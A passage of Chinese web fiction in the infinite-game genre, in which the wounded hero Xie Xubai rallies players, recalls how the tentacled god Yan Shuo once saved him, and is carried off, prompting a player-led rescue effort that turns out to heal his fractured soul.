谢叙白还坐在触手的尾端,一站一坐有个高低差。他被宴朔向后拉,脸颊不受控地一偏,不知有意无意,正好撞上某人健硕的胸肌。 这一刻雷声皆消,令人心惊胆战的怒气值终于不再上涨,甚至开始缓缓回落。 人们纷纷哑然,难以相信一触即发危及全球的战火居然就这样被三言两语掐灭了。 谢叙白想起来,力有不逮只能撑在宴朔身上,过程中不知道又碰到什么地方,后面那几根触手一阵欢脱几乎抖出了花儿,怒气值更是唰唰往下掉。 槽点是宴朔仍旧冷着一张脸佁然不动。 莉莉丝眼皮子一抽,想起宴朔在上一个副本里故作殷勤叫出的那声师姐,内心直骂死闷骚。 她眼不见为净,扭头看向谢叙白,缓和语气道:“我刚紧急调配了联合会的医疗专家组,他们最迟还有十分钟赶到,你先躺着别动。” 一提到谢叙白的伤势,希尔等人猛一下回神。 第二使徒米埃尔顾不上邪神在场,三两步窜上去,他因契约拉斐尔而善于治疗,当即捏起检查身体的神光:“让我看看你的伤white,就算有诸神赐福勉力维持住你的灵魂不溃散,不尽快修复也会对你产生极大的影响!” 希尔心急如焚丢下一句:“我现在立马去把所有的灵魂修复师都找过来!”便冲了出去,再眨眼没了踪影。 小羊和其他神级玩家二话不说开始掏家底。 然而谢叙白的灵魂受损程度非同小可,一般的治愈道具根本不起作用。 即使是上一世谢叙白情况还没现在这样糟糕的时候,也需要所有神祇齐心发力,才能勉强将他这条命从地狱边缘拽回来。 气氛重回残酷的现实,焦灼万分。 联合大厅指挥室已然乱成一团,有人噼里啪啦搜索论坛,有人火急火燎跑出去寻求外援,摞成堆的资料唰唰翻得快起火冒烟,电脑屏幕上严谨周密的作战计划早已被密密麻麻咨询灵魂修复的消息所覆盖。 医疗专家组没到,几个高级治疗师被拉过来死马当成活马医,瞅着谢叙白那四分五裂的灵魂,震惊脱口:“这怎么可能还能活?!” 大家的心蓦地凉透半截。 他们不是神级玩家,不记得也不知道谢叙白的灵魂曾经碎裂又好不容易修复,满脑子都是出生入死拯救世界的英雄就要这样惨死,眼睛通红湿润,嘴唇剧烈地发起抖。 这时,仿佛感知到他们的悲痛,金光悄然出现,如轻风拂过众人的肩膀,温柔地发出安慰。 屏幕里,满是疲态的年轻人莞尔一笑,往后一拍宴朔的肩膀:“我家最好最强的修复师就在这儿呢,你们怕什么?放心,死不了。” 宴朔面色阴郁。 谢叙白和他对视,几不可闻地摇了下头,指节扣住宴朔的臂膀,再一使劲儿咬牙站直身。 这个简单的动作又令谢叙白出了一身汗。 而后谢叙白快速换气,平复呼吸,再抬眼时目光坚毅,另一手五指并拢,平掌往下一压。 只这一个动作,嘈杂混乱的人们瞬间噤声,保持安静,一双双眼睛静默颤动地看向他。 “现在游戏还没有结束。”谢叙白面向众人,虽没有力气,声线一样沉稳铿锵,“副本有难度要求,这是底层逻辑,宣布直接获胜或者给出提示过多,会被视为作弊导致通关无效。即使我尽可能在最大限度内为大家提供方便,也不会有多轻松。” “可是那又如何!” 谢叙白话锋一转,骤然震声如利剑出鞘,声势赫然。 “我们跨过刀山火海,脚踩嶙峋荆棘,即使天塌地陷也从未有过片刻退缩!我们选择对抗系统而非屈服,因为人类文明不朽,意志不灭!我们用实际行动证明外神并非不可战胜,证明命运叵测但终究人定胜天!” “沉睡的同族还在等我们回家,这是最后一段征程,值得我们竭尽全力去走完,而结果永远不变。诸位——” 环顾面色潮红双眼热切的众人,谢叙白眼睛含笑,锃亮深邃:“胜利在即,故人将醒,让我们在崭新的世界凯旋重逢!” 莉莉丝心知white的演讲素来富有感染力,能够鼓舞士气,振奋人心。看见他执意起身,熟悉他行事的莉莉丝立马让手下开启了现场直播。 无形的镜头对准谢叙白笔挺颀长的身姿,镁光灯聚焦而下,仿佛万千星辰为他加冕。 无数玩家闻讯涌入直播间,在线观看数量指数上升,热度层层拔高达到空前绝后,激动情绪犹如潮水席卷。 当谢叙白的最后一个字音落下,弹幕骤然暴沸,呐喊直冲云霄! …… 这沸腾热血直至十几分钟后也未能冷却。 彼时现场聚集了不少顺着动静赶过来的玩家。 谢叙白是NPC时就叫他们仰慕已久,而今知道对方是自己人,曾也率领万军力挽狂澜,他们更是心生难以言喻的向往和崇拜。 可惜莉莉丝等人对谢叙白紧张得不行,以人为圆心将其重重包围,警戒线直接拉到百米开外,对陆对空全面戒严,仿佛对方是博物馆价值天文的易碎琉璃。 围观群众垫脚伸脖子飞上天也只够看清半张脸,只能眼巴巴地张望。 快马加鞭赶来的医疗专家组和米埃尔检查完谢叙白的灵魂受损程度,前几人眉头紧皱成菊花,后者脸色凝重如铁砂:“伤势太严重了,不能轻举妄动。最好是把大家都叫过来,召唤契约神祇,加强赐福,再连结几位光明系神祇的力量一同温养修复。” 谢叙白笑叹:“可那又要耗费多少功夫?” 这一句反问更像是温和而不容置疑的否决。 规则摆在那,诸神能给予人类的力量有限,全用在他身上会耽误通关进程。 米埃尔还想再劝,被谢叙白摆手打断了。 身体还未好转就使用神力对谢叙白的损耗太大了,这几天好不容易被亲友们喂圆的下巴瞬间消瘦下去。米埃尔抬头,瞳孔映出谢叙白削薄的面部轮廓,颈侧青色血管清晰可见。 似乎困顿,谢叙白无意识地垂了垂眼睫,但只是一瞬便又强撑着睁开眼。 米埃尔心里发涩,喉咙一滚将话咽了回去,抬手唤出治愈的神光,为对方舒缓疲劳。 就在这时,丝丝缕缕的黑雾自地表蔓延开,森冷无声地朝周围的人类发起警示:邪神的耐心只能坚持到他们为谢叙白诊疗完毕。 谢叙白似有所感,自下往上抚摸宴朔的脸颊,努力打起精神。 “你刚才一直没跟我说话,是不是在生我的气?” 触手在动,黑雾在动,但宴朔雕像似的抱着他一动不动,甚至没低头。 谢叙白知道这一回闭眼,宴朔为了能让他摆脱梦魇安心休息,绝对又会将他的记忆封存。 然后呢? 宴朔大半夜来给他修复灵魂,谢叙白这会儿全部记得,包括对方那癫狂的模样。 摸着宴朔绷紧到颤抖的嘴角,谢叙白心里一阵酸楚,往下扯了扯对方的袖子:“是我不好,总是让自己身陷险境,让你担心。” 宴朔冷着脸。 “宴朔,宴总,你看看我吧,跟我说说话,好不好?” 掌心被谢叙白的手指轻挠,像猫儿探爪挠入心窝。 宴朔眼前再度浮现出心魔的模样,也是这样软下声调期期艾艾地唤他,又在他看过去的瞬间,咔嚓一声,碎裂成渣。 “宴总……” 叫到第三声时,温雅的嗓音逐渐变低,似是黯然。 宴朔抿紧嘴唇,终究是忍不住在那带颤的尾音消失前深吸一口气,低头看向谢叙白。 噩梦没再发生,他真真切切地看见了谢叙白的脸,完整的,鲜活的,嘴边啜着一丝清浅的笑意,眼底流转温润动人的光。 这一看便是溃不成军,一发不可收拾了。 谢叙白倏然展颜一笑,低声宛若呢喃:“你知道吗,这几天我睡得都很好,想起了许多以前的事……” 周围的使徒成员心有灵犀地闷头收拾检测仪器,假装什么都没听见,耳朵却悄然高高竖起。 无论什么时候,上级的爱恨情仇绝对有资格纳入办公室年度十大热门八卦奖之一,何况是被无数玩家视若梦中情人的谢叙白,当下就有不少仰慕者心碎一地,咬着手帕泫然欲泣。 正常时候谢叙白多少会掩饰一下,一是指挥官时期他作为官方标榜人物一举一动都在媒体的监视下,传出暧昧对象会有很大影响。 二是他光棍上百年连五指姑娘都很少用,习惯于清心寡欲也不会主动去搜那些东西,对情事的了解大多停在今日说法而无实操经验,稍微被逗弄就容易耳根生热,平添赧意。 ——好歹手下这么多人,真叫人看见他软声撒娇腻歪黏糊,别提有多社死。 可见现在谢叙白真是累得快不行了,都没顾得上周围有人。 宴朔本欲将玩家都赶走,余光一扫,落在沉默凝视谢叙白的巴瑟身上。 黑雾微僵,而后翻涌,不动声色扩大音量。 谢叙白:“还记得吗,那一次,我们第一次接到最高一级战备任务,副本只给出十天的通关期限。” 再排除掉返程、交接道具,部署指挥作战、迎击外神……时间更是寥寥无几。 而他们必须在这寥寥无几的时间里争分夺秒,于宇宙外域成百上千条空间罅隙里锁定目标地点,深入其中找到对抗外神的关键道具。 彼时玩家群体尚处于一边倒的颓势,有神级资格的人都没挖出来几个,谢叙白更是匆匆跟过两次队就要亲自带队上场,和宴朔签下契约甚至都不满一个月。 设备简陋、缺乏人手、航线迷失,后勤吃紧。内有士气低迷人人自危,外有混沌怪虎视眈眈,外神强大到无法抗衡,时不时还会冒出一个系统从中作梗。 条件艰苦到谢叙白一度认为他们当时能成功找到道具,是不小心摔进了幻境。 ——当然没那么容易。 道具是真的,但被附加上隐秘的诅咒,一旦问世就会释放腐蚀之火烧遍大地,威力足以熔毁一颗小行星。 滚滚火浪轰一下冲刷到眼前,电光火石间谢叙白满脑子只有一个念头就是这道具不能丢,丢了不知道下一次刷新在哪儿,而他们不可能再有这样的好运。 他拼尽全力用最快的速度扑上去将其抱住,然后幽绿色的腐蚀火将他吞没。谢叙白仿佛能听见皮肉烧灼发出毛骨悚然的滋滋声响,还未完全丧失的视野被扭曲的色块填满,火焰一路焚穿经脉骨骼,直达五脏六腑,把一切都烧成焦炭。 他叫都叫不出来。 身上装备的防御道具和治愈道具即时发动,却因为腐蚀特性导致效果减半。谢叙白的血肉长了又烧,烧了又长,佝偻腰背倒在地上,嶙峋焦骨止不住地哆嗦,痛到无法起身站立,甚至将道具收进背包都做不到。 余光有人影攒动,是队员在翻滚惨叫,其中不乏有保留记忆的老玩家。 他们记不清自己多少次在这个任务里铩羽而归,仿佛走不到尽头的绝望通过精神链接尽数传达给谢叙白。 谢叙白目眦欲裂,分不清是血是汗的东西划过眼角,又被高温瞬间蒸发。 他还太青涩,无法坦然接受死亡,何况这是他第一次被委以重任独立带队。 就算他没有大言不惭到要把所有人都平安带回去,也没有想过会全军覆没。 悔恨与无助交织在一起,他在烈火燃烧的地狱中反复沉沦,反复拉扯,不见天光,不得解脱。 直到某一刻,嘭一声巨大的触手断肢砸在地上,谢叙白清晰听见浪潮拍岸的震响,像洪钟敲击心脏。 海水势若破竹冲开腐蚀火,包裹住谢叙白的身体将他托起,风中弥漫开咸腥的湿气。 火里怎么会有水? 谢叙白浑浑噩噩地抬头,看见漆黑巨物屹立天穹,和祂相比自己小得像只随时会被碾碎的蚂蚁。 那双猩红眼眸向下一睨,好像没有感情般冰冷刺骨。可祂随后却做出一个会让颠覆世俗的动作,撕扯触手丢在地上,自毁神躯! 这是一种极其硬核的物理降维方式,通过大幅度消耗自身力量,让神祇能够瞒过规则判定直接干预副本而不使其崩坏。 就算当时的谢叙白什么都不知道,看见触手越掉越多,潮水却随之疯狂上涌,覆灭腐蚀火,也该知道宴朔在牺牲自己救他。 他茫然,他困惑。 对宴朔而言,自己应该是一个使用诡计强迫祂签订契约的卑鄙小人,长达一个多月小黑章鱼对他不理不睬,难道不是因为憎恶他吗?每一位信徒只能契约一位神祇,但神祇却可以契约千千万万个信徒,为单个信徒自毁根基,邪神有善良到这种地步?这究竟是什么荒诞的童话故事? 眼看一根根触手断肢坠地,像群山倒伏,黑血四溅,谢叙白不知怎的心里猛一下抽痛,白着脸,抖着手,榨干最后一丝力气往前一抓。 他似乎抓到了什么,而后昏死过去。 梦中一阵颠簸,他并不安稳,几乎在宴朔把他拖回最近的空间补给站时就猝然睁眼,大汗淋漓环顾四周,下意识起身结果扯到未愈的伤口,又闷哼一声跌坐回去。 邪神将自己缩到五米左右高,刚好顶到天花板,其中一根残存的触手伸过来将咬牙颤栗的他圈住,触手尖端贴着锁骨往下移动,像人无声地拍向他的肩膀,最后拨开他紧扣在一起血肉模糊的双手。 任务道具躺在掌心,散发莹莹光辉倒映在谢叙白惊魂未定的眼底。那是一颗橘红色的火系星核,其中蕴含的澎湃力量宛若岩浆般炙热猛烈,瞬间驱散空间站的阴冷。 谢叙白的瞳孔睁了又睁,没等做出反应,旁边嘭嘭几声,邪神甩甩触手,将他的队员从身上卸了下来。 祂是懂得废物利用的,撕下来的触手断肢一部分用以灭火做屏障,一部分化成布毯将人类打包。谢叙白一见到他们就忍不住了,拔身冲过去,抖着指尖挨个探向鼻前。 这个活着!这个也活着!…… 七人小队,全员幸存。 那一刻,谢叙白分不清自己是什么情绪,湿意唰地涌出眼眶,他捂住脸深喘气,听见压抑在自己喉间的那口气骤然吐出,迸出一声短促而庆幸的哽咽。 他转身想要道谢。却见四平八稳的邪神突兀地僵住了,那任何时候都称得上心如止水的猩红眼瞳竟出现了些许波澜。 祂在困惑。 顺着对方直勾勾的目光,谢叙白看向自己的双手,就在紧挨着星核的指缝中,还有一截被金光仓促包裹的触手碎片,是他最后眼疾手快抓住的东西。 触手碎片不知是不是受到金光温养,非常有活力,咕噜咕噜蠕动个不停,眷恋地缠上谢叙白的手指。 谢叙白以为这是正常的,毕竟神话中女娲能够甩泥造人,那些外神被切割身体后,残肢落地就是新的分身。 他举臂将触手碎片递过去:“……这对您有用吗,还能接回去吗?” 不能了。 因为那躯壳碎片中居然产生了意识,不是和主体一样的统一意识,是完全崭新的,独立的,像枯枝焕发新芽。 人类传说赋予邪神“章鱼”的形象和特性,祂的断肢还能再长,所以祂撕得随心所欲。 单纯的断肢是制造分身,切断联系才能产生损耗,那躯壳碎片就是正儿八经的死物。 可是它活了! 或许是恒星爆炸提供新生命诞育的能量,又和谢叙白的精神力交融产生某种化学反应,才出现这种情况。 祂努力分析,却怎么都冷静不下来,积累千万年学识和阅历的脑子里从未有一条告诉祂会出现这样的意外。 于祂而言,人类对抗无限游戏就像前面五次地球生命大灭绝,历史不过是在按部就班地拿旧章换新篇。 祂的寿命冗长,本该是一个无所谓尘世的观测者,就算人类战败灭绝,也能遁入虚空沉眠。直至地球出现新的生命体,循规蹈矩重复步入上一纪元的宿命。 谁知道谢叙白的无心之举将祂猝不及防地拽了下来。 谢叙白不懂此时邪神心里有多震撼,正如邪神不懂看见道具在手无人死亡时谢叙白会有多震撼。 绝境逃生是人类的奇迹,死水活源是神祇的奇迹。 空间站外,宇宙浩瀚无垠,恒星如钻石沙砾铺洒在黑暗的幕布上,一轮巨日沉入银河的盘面,晕染出瑰丽迷幻的色彩。 伤痕累累的人类和神祇呆滞互望,彼此都有一瞬怦然。 …… 谢叙白放任自己蜷缩在宴朔的怀中,聆听对方胸腔中传出炙热心跳声,隔空轻唤:“小一,你在吗?” 半空中出现一团腕大的阴影,小触手几乎是闪现到了谢叙白的面前,像受尽委屈的孩子,哭得上气不接下气:【白白!白白!】 谢叙白将它圈在怀里,一下接一下温柔地拍哄。 时过境迁,当初那手指大的躯壳碎片竟也长得这么大了。 “记忆于我而言绝非负担,我时常会想起自己真的是一个很幸福、很幸运的人,家人朋友在侧,能与那么多志同道合的同伴并肩而行,能收获生活中无数美好的点点滴滴。” “但同时我也太迟钝,直到很久之后才发觉,在那朝夕与共的相处中,自己的心里早已住进了一个特殊的存在。” 谢叙白轻咬上宴朔的喉结,狭长睫毛扑簌,眼尾艳红勾人,含糊一笑,宛如蛊人犯罪的妖:“宴总,你想听听我喜欢上他的全过程吗?” 玩家们一开始还听得起劲,中途就什么都听不见了,宴朔单方面掐断扩音不说,还补上了一层隔音屏障,莫名其妙对所有看向谢叙白的人都展露出敌意。 紧跟着宴朔呼吸一滞眼睛一红,像一头被刺激狠了的雄狮,所有触手齐齐一动,汹涌奔腾,于轰隆雷霆声里将谢叙白争前恐后卷入阴翳。 那场面极其凶骇且突如其来,大半玩家眼见谢叙白被强行拖走,意识到邪神又要发疯,下意识冲过来。 隔音屏障应声而碎,他们紧赶慢赶还是解救不及,只在裂缝闭合前,听见谢叙白发出一声隐忍破碎的泣音。 第285章 游戏磁带 谢叙白被邪神掳走了! 突如其来的消息将所有玩家打了个措手不及。 宴朔发怒只有少数人及时赶到现场,大多数人都不知道具体发生了什么。 看见这消息,他们第一反应是半信半疑,毕竟上一个副本邪神还曾作为黑王帮他们打通规则,视线几度在谢叙白身上炙热粘黏,目测与人关系匪浅,颇有点情投意合的味道。 直至有人把一段视频上传论坛。 那似乎是仓促间拍下来的,画面经防抖处理后仍旧有些颠簸,映照得漫天触手宛如黑云压境。 重点在人身上。 短短十几秒钟,将谢叙白被触手强势掠夺的全过程展现得淋漓尽致,包括他眼角溢散出的潮红泪渍和被逼出的一声哭腔。 再配上那副难以掩饰的苍白病态,俨然是对邪神的羞辱百般慌怕却又无力抵抗。 众人上一秒还在为通关条件明确不用摸黑过河感动得热泪盈眶,下一秒就看见他们感激敬仰的对象被困缚在邪神的欺压下,情绪呼一下被直线点燃,愕然瞪眼。 等等,你们不是两情相悦吗,搞半天玩强制的啊? 不是我谢神都伤成那惨状了邪神你居然下得去手,你还是人吗?? 重点来了。 帖子下面有人扒拉镜头细节,痛心疾首地让大家注意观察最后几秒。 玩家们就去观察了。 于是他们看见,在那短短一两秒的时间里,或许是察觉到玩家的焦急惊怒,被触手勒住身体的谢叙白还在努力仰颈,挤出安抚的笑容。 谢叙白似乎想说什么,却没了出声的力气,那泛白的唇瓣一张一合,依稀可分辨出口型是: ——没事,别怕。 这幕还接在谢叙白的演讲之后。 其冲击性不亚于:将军振臂一呼率领众将士连夜镇守国门,经历一番殊死拼搏艰难熬至援军赶到。 就在大家庆幸欢呼终于得救时,倏然日光驱散阴翳,照见将军被箭矢洞穿千疮百孔慢慢停止呼吸的身躯,而那血肉模糊的脸上还勾着一丝欣慰的微笑。 我、靠。 玩家们的心情像是被猝然推上过山车,从茫然震惊到不敢置信,最后轰然爆沸。 激愤比恐慌更快涌上心头。 一时间群情激荡,众说纷纭,相关帖子火箭般增长,疯狂屠版各大论坛分区! …… 其实明眼人都看得出来,短时间里闹出这么大阵仗,除却谢叙白名声在外,少不了心怀各异的诸多势力搅起暗潮涌动。 西方那群上位者向来都是敲骨吸髓的主,当初危难关头都不见得他们能放下利益齐心协力,如今仗还没有彻底打赢呢,一个个却都开始算计着怎么瓜分战后利益。 饶是莉莉丝都被扰得烦不胜烦,这些日子眼底时刻挂起两硕大的黑眼圈。 她动手从来不会心慈手软,但联合会被洗盘数次,势力盘虬如蛛网般错综复杂,搞事的人又如蟑螂般源源不断,各大负责人精通一个拖字诀,打不过就顾左右而言他,硬压着行动没法执行,稍不注意还会被下绊子倒打一耙。 再加上不同洲区国情人文习俗等差别,统管起来简直一个头两个大。 总不能都杀了吧。 先不说这群鬣狗饿狠了会不会吃人,短时间内去哪里找大批量背景清白能无缝衔接各种机密政务的适配者。就像前任程序员留下的屎山代码,没有批注根本看不懂,何谈整改。 放眼望去,桎梏重重。 莉莉丝不由得再次长叹。 她之前最惨也只需顶住一头压力,再往上还有谢叙白坐镇。 随着谢语春献祭,裴玉衡战死被系统回收改造成怪物,可没人能帮谢叙白抗压。 ……那段豺狼环伺的日子,这家伙到底是怎么扛下来的? 没多久,更戏剧性的一幕发生了。 联合会内部的波谲云诡还没彻底搅合起来,外部居然先爆了。 起因还是那个人。 ——谢叙白。 居心不良的联合会官员推动视频和谣言传播,本意是想煽风点火,搅乱局面,好趁乱坐收渔翁之利。 谁知道副本时间过去半个月,风波一点都没有平息。 他们严重低估了谢叙白在玩家中的影响力。 对北美那边玩家来说,他们推崇英雄主义,谢叙白的所作所为好巧不巧戳中他们的心巴。 对中洲玩家来说,谢叙白从始至终行的就是大义,是马革裹尸,是救亡图存,是鞠躬尽瘁死而后已。 如此一合计,两方呼声达到空前绝后的一致,他们联名要求联合会开展援救行动,从邪神的魔爪下救出谢叙白! 一旦有相关负责人试图出来打马虎眼,玩家们分分钟用口水把他给喷回去: 谢叙白重活一世被囚困为NPC,脑袋别在裤腰带上都能为大家谋得一线生机,甚至再次联合大家走向胜利。 再看看你联合会成立这么长时间究竟干过几件符合头衔的事? 不能说是毫无作为,只能说是一事无成。现在要你安排个救援行动都要东拉西扯的,实在干不了就滚下来换能干的去干! 如果有人仔细了解过其他洲区,特别是美洲那套资本掌控下的社达机制和华人街的成立,就会发现中洲人其实比外国人多出一分血性和人情味。 而今这分血性和人情味,也带动着其他洲区玩家暴起呐喊,让民众呼声愈演愈烈,甚至有了燎原的架势。 莉莉丝等人还会为稳定局势瞻前顾后,普通玩家却没这样的顾虑。 当联合会的某个官员狼狈不堪地被人从情妇的床上揪起来,赤条条丢到大街上后,积压快两个星期的谢叙白救援计划终于得到审批,一路开绿灯飙至行动展开。 —— “不太对劲。” 某个隐蔽的私人住所,一名中年人浏览完论坛最新动态,推了推眼镜。 “虽说联合会那群酒囊饭袋的脑子见不得有多灵光,但他们绝不会放任事态发展到这种无法收场的地步,有谁在后面推了一把?” 他说着便把这段时间引发的各项风波整理在白纸上,对比热帖增长趋势,拉出一张统计表。 数据是不会骗人的。 观察这份统计表上跌宕起伏的线条,可以清晰明了地发现,联合会煽动民心不稳充其量只能算得上前调,后续舆论反噬到自身才是高潮。 另一个棕色卷发男撇了撇嘴,不以为然:“这不是显而易见?现今两大精神系高手,一个米埃尔隶属于使徒公会,一个被临时提拔起来的洛卡,你想想他在谁的管辖下。” “莉莉丝?” “除了她还能有谁?你真当她说自己对联合会无能为力是认真的吗。” 卷发男慢悠悠地解释说:“莉莉丝在无限游戏降临前就是州长候选人,后续为了笼络人心甚至不惜自爆身份实名竞选,她是个野心勃勃的聪明人,联合会有什么手段她能不知道?能一点反制的手段都没有?他们狗咬狗,劝你别太真情实感,论玩转舆论谁有这群政客在行。” “但我还是觉得奇怪。” 最先提问的那人眉头紧皱,思索片刻后:“精神系善于操控人心……你们说,最强的那位精神系能不能意料到这种情况的发生?” 卷发男眼珠子一瞪,满是不赞同:“你在怀疑white?兄弟,你要不看看视频里他伤得有多重!” “可那是white。”眼镜男长吸一口气,颤抖的声线不知是兴奋还是敬服,“是临死都能把身后事安排得妥妥帖帖的white。” 同伴还是反驳:“别开玩笑了,如果真的是white,他掀起这场声势浩大的民愤图的是什么?” “为了将所有人集结在一起。” 联合会中央大楼,整洁明净的会议室内,莉莉丝双手交握。 “这一场副本太美好,就算出现磁场骚乱也会很快平息,消极怠工的不止是联合会,连不少玩家都斗志全无。” “再这样下去,人们只会沉沦在美梦中不愿醒来。想要打破僵局,我们就需要外界刺激,需要一个能激起大家同仇敌忾的敌人。” 第二使徒:“这么说你和white早就商议好了?为什么不提前告诉我们。” “没有,在此之前他是真的失忆了,精神力被外界封闭,完全联系不上。我也是看见他当众主动向邪神索吻时才反应过来。” 想到邪神被撩拨引发天地震动的夸张一幕,莉莉丝嘴角一抽,继续面不改色地说:“我猜white应该想自己担任这一反派角色,可惜他心有余而力不足。” 第二使徒:“怎么说?” 小羊接口:“因为这一副本实际上由white的意志所维持。” 所有人闻声看向他。 为了证实自己的话,小羊当即从空间袋中掏出一盆花,花瓣为莹蓝和淡白的渐变色,犹如冰晶般剔透动人,一看就不是凡品。 小羊扬起脑袋,似乎在自言自语,又像是对某个存在宣告什么:“这是某个S级神话副本中,一株被栽种于塞龙多巴峡口的疗愈花,生长要百年,开花要百年,能救下许多条生命。” 说罢,他将这珍贵无比的花束突兀折断。 紧跟着神奇的事情发生了!枝干的断口竟然冒出一缕淡淡的金光,穿针引线般将裂口缝合,努力收束,不让它彻底折断。 小羊继续拽着花,让他们可以看清楚。 除莉莉丝以外,在众还算淡定的使徒成员纷纷变了脸色,拔身而起,紧盯着那缕金光,期待地屏住呼吸。 没几秒,他们又施施然坐了回去。 因为那缕金光是副本意志衍生出的规则之力,不是谢叙白的分身。 不然凭小羊掰扯疗愈花时那个暴殄天物的劲儿,看不惯浪费的谢叙白早一个脑瓜崩儿给小羊弹过去了,而不是在这和小羊哼哧哼哧拔河较劲。 没一会儿小羊松了劲,任由规则之力将疗愈花复原,指尖拨弄花瓣,垂下眼睫,心里难得开怀。 因为技能特性,他时常需要保持缄默,这还是觉醒后第一次顺利说出副本真相。 一个对所有人都温柔的世界……果然很危险。 到这里大家脑海中那些云里雾里的疑点终于拨开模糊的面纱。 说来也是他们自己犯蠢,谁都知道副本内容和最终BOSS息息相关,可以说就是最终BOSS生平经历和思想执念的投影。 这世界美好得连一场硝烟都不忍心泛起,怎么可能是那杀胚邪神构造出来的? 原本使徒成员们还有点担心邪神狂暴施虐,如今知道副本由谢叙白实际掌控,顿时放下心来,摸了摸鼻子:“还好有white能够压制住邪神,不然……” 却不料几大使徒脸色怪异,一直沉默不语的巴瑟眼里满是对邪神的浓郁讥讽:“压制?” 莉莉丝警告地看他一眼,随后在投影仪上展示出几份调查报告:“white和邪神消失后,我们在不远处的高楼天台上捕捉到一股异常的能量波动,经检测,正好来源于透露给我们情报的那位S级诡王。” 她话锋一转。 “让人没想到的是,不用我们去找,这名S级诡王居然在white被掳走后再次主动找上门,自报身份为邪神的从属。” “什么?”当场就有使徒成员讶异出声,“邪神的从属?那他怎么可能——” “没错,诡怪之间等级森严,如果没有邪神的授意,即便他是统领一方辖地的S级诡王,也绝无可能越过邪神通报消息,那我们连H市的影子都看不见。”莉莉丝说,“说得浅显易懂一点,从始至终就是邪神故意促使我们接近white。” 这一点都不需要验证。 回想展开行动当日,邪神就蹲守在附近虎视眈眈,凭祂的力量,有无数次机会在谢叙白察觉之前把他们驱逐出H市,可是邪神毫无动作,这才引发出后续一系列事件。 众人哗然:“可邪神不是为white伤重勃然大怒吗?” 还因为迁怒,连带着把所有玩家都厌恶上了。 除去能为white治病的医疗系人才,其他玩家只要靠近white半米都会被触手大力掀飞,占有欲别提有多旺盛。 现在却来告诉他们,和white的见面居然是邪神安排的! 为什么? “原因很简单。”莉莉丝说,“经过专家调查组这段时间对怒气值的深入研究,我们发现有三件事能够有效降低邪神的怒气值。” 画面转至某个一望无际的平原。 伴随着玩家激烈的作战声和叫人眼花缭乱的技能特效,S级诡怪轰然倒塌,掀起尘土弥漫。 也在诡怪倒下的瞬间,如乌云般在天穹翻涌的漆黑怒气值唰地掉下去一截,起码减少好几千! “情报没错!”有玩家当即惊喜道,“消灭这些突然出现的诡怪,果真能消除邪神的怒火!” 同伴附和道:“但诡怪刷新的速度也太慢了,这样下去要打到猴年马月。不是说还有其他办法能降低怒气值么,是什么?” 画面转至H市内的某家电玩城。 此时店外围观的人至少是平时的三倍量,而且都是来旅游的生面孔,甚至不少外国人。 他们将偌大的店门挤得水泄不通满满当当,神色凛然仿佛在面临生死抉择,惹得本地居民路过时都忍不住向里面瞅一眼: 平时也不见这家店有什么好玩的啊,都是几年没更新的老设备,怎么突然这么多人凑热闹,难不成做活动搞免费试玩? 直至里面传来消息,有玩家达成目标积分获得最终大奖!霎时间人群像冷水倒入油锅,爆发出震耳欲聋的欢呼和尖叫! 那些本地人,又或者说NPC,他们看不见这家电玩城里的地板染了血,阴气森森,杀机四伏。 他们同样也看不见,当老板宣布玩家获胜的一刻,所有游乐设施漩涡般汇聚,掀起狂风呼啸。 而后风声散去,一道神似空间裂隙的裂痕贯空而立,表面黑雾翻涌,构造出一层半透明的薄膜屏障。 周围的玩家看见这一景象,毫不犹豫地赶来,只听几名大佬立于人群中高声指挥。 “不要攻击!攻击会被反弹!轻则残废重则团灭!” “让光明系玩家都过来,用治愈技能净化污染,道具也能用!奶妈优先!” “根据可靠情报,只要能净化掉这座城市的所有污染源,深渊的大门就会开启,而邪神就栖息在深渊之中!” 嘈杂中不知谁怒声吼出一句:“打倒邪神,营救谢叙白!” 其余人热血沸腾地响应:“打倒邪神,营救谢叙白!” 在无数治愈能力的加持下,黑紫色裂痕亮起莹白光点,从首端开始收合,到末端消散。 也是这污染源被净化掉的瞬间,天穹之上金色方框标注的怒气值唰地变化,再度下降上万点! …… 画面回到中央大楼会议室,第六使徒恍然大悟:“也就是说,那些诡怪的本体很有可能是——” 小羊:“具象化的精神污质。你没发现吗,它们都是我们曾经遇见过的副本怪物。特别是那群长相和能力五花八门的混沌怪,能把它们全部记住的人可不多。” 莉莉丝指向屏幕中的诡怪:“举例这只混沌怪,它战斗能力不强,只有A级,但腹下甲腔这个位置藏着超量级毒囊,死亡就会爆炸释放大量毒素,提前知道的话就能有效防范,可惜当时设备简陋,没人发现这个致命问题,导致死伤惨重堪比S级混沌怪。” 莉莉丝:“中洲有句老话,吃一堑长一智,后续我们开发出专门针对它的解毒药剂,就没再把它放在眼里。可是在这一副本中,它居然直接拥有了对等S级混沌怪的战斗力。” “先等等,让我捋一捋。”第六使徒脑筋转得很快,“你们说这些诡怪是精神污质,换句话说,它们是副本主人内心阴影的具象化。就因为副本主人觉得它和S级诡怪一样强大可怕,所以在这个副本中本该只有A级的它也强得像头S级。” 莉莉丝:“没错。” 精神污质=副本主人的心理阴影=谢叙白的心理阴影。 第六使徒愣了很久,转向其他人:“当初那场剿灭行动,原来是white带的队吗?” 和巴瑟一块沉默的希尔终于动了,他摇了摇头,向来明媚的一张脸写满沮丧:“不,他是协同作战。” “但当时他距离那只怪物很近。”小羊说,“听人说他在最后一刻发现毒囊,冲上去想要救人却没来得及,最后活下来的人十不存一。” 巴瑟阴沉着脸:“哪场战斗没死这么多人?” 是啊,死的人太多,多到大家都麻木的程度。 但没人吭声去批判谢叙白脆弱的心理素质,因为他们隐隐约约能够猜到,white对此耿耿于怀,乃至于产生精神创伤,大概率是对方认为那次死伤完全能够避免。 只要他能再仔细一点,再谨慎一点,再强大一点。 难以言喻的死寂中,第六使徒又问:“既然诡怪是精神污质,那些污染源就是……” 小羊:“灵魂裂缝。” 难怪只让用治愈系能力,难怪消灭诡怪和净化污染能够消除邪神的怒气值。 这下真就是举全球之力为谢叙白疗愈意识海,修复灵魂。 第六使徒不知该唏嘘还是咂舌:“white能愿意吗?” white有强到令人发指的道德包袱,如果知道玩家这样为他“劳民伤财”“浪费公共资源”,估计得自责到又搞出一个心理创伤。 呃不对,在那之前,white应该会先大发雷霆把始作俑者爆捶一顿。 “你觉得white愿意吗?”米埃尔为自己老犟种的长官叹气,“他甚至不肯让神祇为他加强赐福温养灵魂。” 谢叙白又不是犟在形式主义,如果他能预见如今这个局面,估计在当时就捏着鼻子同意召唤神祇治愈自己。 